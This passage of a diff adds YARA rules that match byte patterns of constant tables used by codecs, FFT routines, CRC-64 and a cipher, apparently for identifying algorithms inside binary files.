D7A0443124EB4453A1DECF900FEAB9827A7BF07CCCE4767DE74028F09100D3A0C05EC7700EC456AA81FBBCF555BC004E2DF41965EEC15EEF0D7FCEE0E0DF76B27C8F6EB9D36FB38018D0BF82B79682ECC81F298FBCEB26CF5FC11D31866069D6377B3B7E1570CABFF17FEC1F82E03DE30854AB7EDCEF53EFA90A4ADB5C91FA64DE81EE6FE47033CB3972E8E6A75F3DA08B40FAAFB222006FBBA51E461D06745010BDE18FF56F745FDE3D398EF0D07EFE564A6C5FA2BF8F2C1E9FBD9934DCC2238C7A99D077733D8C2CAF8771FDF0BF92EDC1BC89F9D01D5F610A232FFAB3002E65FFE95D8034778A3DDAFF4BF3E1CFB021B1623EC36364FA3BBD47DB34C2CF501D061C01D36B34506E697AE223029A101130505017C38692C41F306270220BF464B059AAE14DC44C191DE26FD82F837AE8BB863F6A5F5DC1006F5C95F0CD5879B34012EFB8DDC80BCD7F8628D6BA109BFE5F4B52725EBB8F46255A4AC28C2013A1CA34014812761AFB1B39FD3DD20CE0596A381E9A8E20304C6AEA435B44D52AA9CD092E419B578DD6D5696BF91075A1452E714A355334A2B33FF941784FED22117FF746D6DEA351DD31D2B5C2326E2F59A546791F2F3D4FEF8FBD006B0A80641D000091A08BC2CF4324878244FF554B49701DBEECFEC26BC83490ABB6834803B451EE0185F5A02B9A01D68EF2FFA85E64A0253D8743AE063040FF4E721130BCD02A80F16D5DEC7F73A9F890392DBB00520F43CFA8E04B4EEE42BF423450D55FA1E351FC2DC5FBB1623214FF42B54ECBD3D1ED25DACC532A32CEBF8E56FEED333B34B7432A2F71FFD6C52ABA9410DEBED67161FB6C7E47F0A7C04EDC047AC41928AFD8FC7841CA0026248D4BB5BD85F015C2C22D53C43101291007F4539FD69F242F70F3EEB07000070920207AFFD3AF5A4AA0F2D1DB34913F4551354B4F3FE062D032720490ACD2E1DF4B956F822489F4EFD193AC2F604EBD620C1EAEEFE7EFD6FFF0A0333E65A1C2C512DA43FB7FE5890A6709C2427B2F9E4058FFAB71D97019A9FFFBFF4F8A5EDA0D63DB5DE285DF11122F9E4D232AC14AAE7ECEC58AEFBF8FB4136CA2FFE8F4B0BD661CD696231C6CFE9F7FDBFFE45FB051BEBF3D74EE99606D10F053101C807014C27FC1900F7FD331A8EF1AD2011DEA155E2953C126D17CD1BB02D515FD6D5E80238DBB54DAB07F21EA0D9660D225338F95C2A7522876993DDF1051AA273069E1E48FB470F2BD4C90C03CF001CE2478A549D23F0D278EBA51B4E096400E90EC7E5DC04EE05BFFE0A1F12B7AB29FEECD7020803F5C12AE0D9F7D3581F0666F21C1151F515218FE460D325055A692911F11D994436FD8A02C1C0BDFCAD20030716C8A93F9811C0D8EE1DBE97ECBB140A300070F0340211E9620A1EB72331609AE6C2700ABDFA89FCAAEC701065E5090A73AF2EDED4F81EC63DEAE6A430C60B653A151592CBF6BDF4C6FD7F0928332DF5A26130CF6D9FFFFBD4E90DEF7407C448B5ACD6430C6C0793CFC39C0538E43FF7531F070FF85F2BFECA25BB2979FC5BD80907F4ACBB12D1DD620492DA410A0759BC037203C41E834A54D936A1481D3D24D4037497F6EA14153E047006A6700AFB41FE050053FEECFF4DC4F4171C59E40415D9FF015303F51E37FE4ED0A5109B1D4EEE042122FBA538899E80E96ABA19D69F2687A288CB560737C5B5276B40F5C640D25CAD0BF34803CDE98D57CA074A02765A64E93DC57CD7C9DB2DCBFBFCDBDA67F038A10F21AC169FDE41FD68CF6FF0DE9D0D92EDBE813EBA0A4B06E913EDFB2900F3E3BF4D437B13826736E6E94D031ACE49163741AAFFA2141B3A92698452A03D13D77839C04C21D3CFCB1CB183C495214EDC8EFD8B2A81E8CA1830FA08FB39FAE9FA88F193EAD6F2CF4534E662611E65C9F3E020876C97FAE6145CEF194E38166A015E43E10E52F3400497FF598CBB0A773B59FF8A0EAE0D85F39A215C1EE2F96DFC15FEB90C89F692157E509CFF84C998D3F1C396AAB8DEBD2F98FD780919F82E1123F1AC1FDCE33352DB524DDB41B4800397E9C8C4CEACAA4212FC92FE7518A80C5FD1ABC034C2B519ADF3DC60AD0A17FB95FCC3F90BB0562B075EE5DC3837AC08E6C8B72E21A82710E1FBD4EA2103A1F53C0034EBEAFC311734E31CF95FA8349ACB545210ADE908E6C4C52D0514A2D50578E838CF7A5D860B410695047B4ADE44094662D6B02AA2EC9F0C2CF3C86A4E106DF9F101 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_ulaw_s2u__8_byt_8185_
+{
+strings:
+	$a0 = { fffefdfcfbfaf9f8f7f6f5f4f3f2f1f0efefeeeeededececebebeaeae9e9e8e8e7e7e6e6e5e5e4e4e3e3e2e2e1e1e0e0dfdfdfdfdededededddddddddcdcdcdcdbdbdbdbdadadadad9d9d9d9d8d8d8d8d7d7d7d7d6d6d6d6d5d5d5d5d4d4d4d4d3d3d3d3d2d2d2d2d1d1d1d1d0d0d0d0cfcfcfcfcfcfcfcfcececececececececdcdcdcdcdcdcdcdcccccccccccccccccbcbcbcbcbcbcbcbcacacacacacacacac9c9c9c9c9c9c9c9c8c8c8c8c8c8c8c8c7c7c7c7c7c7c7c7c6c6c6c6c6c6c6c6c5c5c5c5c5c5c5c5c4c4c4c4c4c4c4c4c3c3c3c3c3c3c3c3c3c2c2c2c2c2c2c2c2c1c1c1c1c1c1c1c1c0c0c0c0c0c0c0c0bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbebebebebebebebebebebebebebebebebdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbabababababababababababababababab9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0afafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacababababababababababababababababababababababababababababababababaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a09f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9e9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999998989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969696969695959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949493939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393939393929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929292929191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090908f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8f8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8e8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a89898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686868686858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848483838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838383838382828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828282828181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010102020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060607070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070708080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080809090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131314141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151516161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171717171818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818181818191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191919191a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f202020202020202020202020202020202020202020202020202020202020202020212121212121212121212121212121212121212121212121212121212121212122222222222222222222222222222222222222222222222222222222222222222323232323232323232323232323232323232323232323232323232323232323242424242424242424242424242424242424242424242424242424242424242425252525252525252525252525252525252525252525252525252525252525252626262626262626262626262626262626262626262626262626262626262626272727272727272727272727272727272727272727272727272727272727272727282828282828282828282828282828282828282828282828282828282828282829292929292929292929292929292929292929292929292929292929292929292a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2e2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f303030303030303030303030303030303131313131313131313131313131313132323232323232323232323232323232333333333333333333333333333333333434343434343434343434343434343435353535353535353535353535353535363636363636363636363636363636363737373737373737373737373737373738383838383838383838383838383838393939393939393939393939393939393a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3e3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f40404040404040404141414141414141424242424242424243434343434343434444444444444444454545454545454546464646464646464747474747474747484848484848484849494949494949494a4a4a4a4a4a4a4a4b4b4b4b4b4b4b4b4c4c4c4c4c4c4c4c4d4d4d4d4d4d4d4d4e4e4e4e4e4e4e4e4f4f4f4f4f4f4f4f505050505151515152525252535353535454545455555555565656565757575758585858595959595a5a5a5a5b5b5b5b5c5c5c5c5d5d5d5d5e5e5e5e5f5f5f5f6060616162626363646465656666676768686869696a6a6b6b6c6c6d6d6e6e6f6f7071727374757677 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes0__16_big_382_
+{
+strings:
+	$a0 = { 00000008002c002d0062006300d400d500d601c601c703ca07d607d700090014002e0064006500d700d801c801c901ca01cb03cb07d807d90015002f006600d900da01cc01cd01ce01cf03cc03cd03ce07da0fe40030006700db01d001d101d201d303cf03d003d103d207db0fe51fea0068006900dc01d401d501d603d303d403d503d607dc07dd0fe61feb00dd00de01d701d801d903d703d803d903da07de07df0fe71fec3ff200df00e001da01db03db03dc07e007e107e20fe80fe91fed1fee7ff400e100e201dc01dd03dd03de07e307e407e50fea0feb1fef3ff37ff501de01df01e003df03e003e107e607e70fec1ff00fed3ff47ff6fff801e101e203e203e303e403e507e80fee0fef3ff53ff6fff9fffafffa01e301e403e603e707e907ea0ff01ff11ff23ff73ff87ff77ff7fffa03e803e903ea07eb07ec0ff10ff21ff37ff87ff9fffb3ff87ff77ff707ed07ee07ef0ff31ff41ff51ff67ffafffcfffdfffbfffb3ff87ff707f007f10ff41ff71ff83ff97ffbfffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__W_tbl40___32_lil_128_
+{
+strings:
+	$a0 = { 0e0000000e000000180000002700000028000000290000003a000000640000008d000000b3000000db0000001801000066010000b801000011020000b8020000b802000011020000b80100006601000018010000db000000b30000008d000000640000003a000000290000002800000027000000180000000e0000000e000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_4_ALS_decoder_mcc_weightings__16_lil_64_
+{
+strings:
+	$a0 = { CC00C000B300A60099008C0080007300660059004C0040003300260019000C000000F4FFE7FFDAFFCDFFC0FFB4FFA7FF9AFF8DFF80FF74FF67FF5AFF4DFF40FF }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_MP3_window_subband____mdct_routine_win__flt32___32_lil_576_
+{
+strings:
+	$a0 = { 001b862acccc342b214e842bfcf79d2b589ca62bfcf79d2b214e842bcccc342b001b862a53f8bf2cfea9ab2c9232952c9f817a2cef1d492c3eba172c74adcf2b859f6b2bb759922a53f8bfacfea9abac923295ac9f817aacef1d49ac3eba17ac74adcfab859f6babb75992aa001b86aacccc34ab214e84abfcf79dab589ca6abfcf79dab214e84abcccc34ab001b86aa001b862acccc342b214e842bfcf79d2b589ca62bfcf79d2b214e842bcccc342b001b862a53f8bf2cfea9ab2c9232952c9f817a2cef1d492c3eba172c74adcf2b859f6b2bb759922a2527c0ac3325adacead198ace35483acf9af59ac0b0e2bac6622f4abc93189ab4a7b9daa000000000000000000000000000000000000000000000000489080aaae4fe3aa05ae71aaeacf063ecd13d43e8b6f443fffaf8b3f17d0a63f75ebc83fbee2f53f7a821a4069fb4a40b95790406b10f340e93ab7415c1c7c3fbb8d243f441daf3eb28f703fd4d031be7d1b44bfd7b35d3f0000003ffeb503bfda86f1be0273a0be74473abe1db0c1bd87cb27bd1da168bc467b72bba8845b3fd8b9613fdd1a733f81ba7b3f41da7e3ffdc87f3f65f97f3f8dff7f3f0000000000000000000000000000000000000000000000004890802aae4fe32a05ae712a2527c02c3325ad2cead1982ce354832cf9af592c0b0e2b2c6622f42bc931892b4a7b9d2a53f8bfacfea9abac923295ac9f817aacef1d49ac3eba17ac74adcfab859f6babb75992aa001b86aacccc34ab214e84abfcf79dab589ca6abfcf79dab214e84abcccc34ab001b86aa }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_costab__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 468d32cf6b90ed3f63a9aea6e27dd83f2625d1a38dd8ef3f2cb429bca617b93f0dcd846088fdef3f7f66a3f75521993f928a8e85d8ffef3f710067fef021793f }
+
+condition:
+	$a0
+}
+
+	
+rule S1_clear_and_cipher_family__8_byt_16_
+{
+strings:
+	$a0 = { 810305070204068301fefdfc80818208 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer1__flt32___32_lil_128_
+{
+strings:
+	$a0 = { d524583f7979f23eaa63b93f4d9e8a3ee6963e3f90f99e3fd238ec3f0000000084675e3f9b03f43e7236bd3fda71833e9a7a413f9357a93f48330240000000004148423f1a6b1f3faebaa23f7920b23e35d0403f554c933fe771d03f00000000e2e7433f9607253ffcc4a13fe3e2b03e9c8b433f9f739b3fc9c6e13f00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xB000000000000001__64_lil_refl_False_
+{
+strings:
+	$a0 = { 000000000000000001000000000000b003000000000000d00200000000000060070000000000001006000000000000a004000000000000c005000000000000700e000000000000200f000000000000900d000000000000f00c00000000000040090000000000003008000000000000800a000000000000e00b000000000000501c000000000000401d000000000000f01f000000000000901e000000000000201b000000000000501a000000000000e018000000000000801900000000000030120000000000006013000000000000d011000000000000b01000000000000000150000000000007014000000000000c016000000000000a01700000000000010380000000000008039000000000000303b000000000000503a000000000000e03f000000000000903e000000000000203c000000000000403d000000000000f036000000000000a03700000000000010350000000000007034000000000000c031000000000000b03000000000000000320000000000006033000000000000d024000000000000c02500000000000070270000000000001026000000000000a023000000000000d0220000000000006020000000000000002100000000000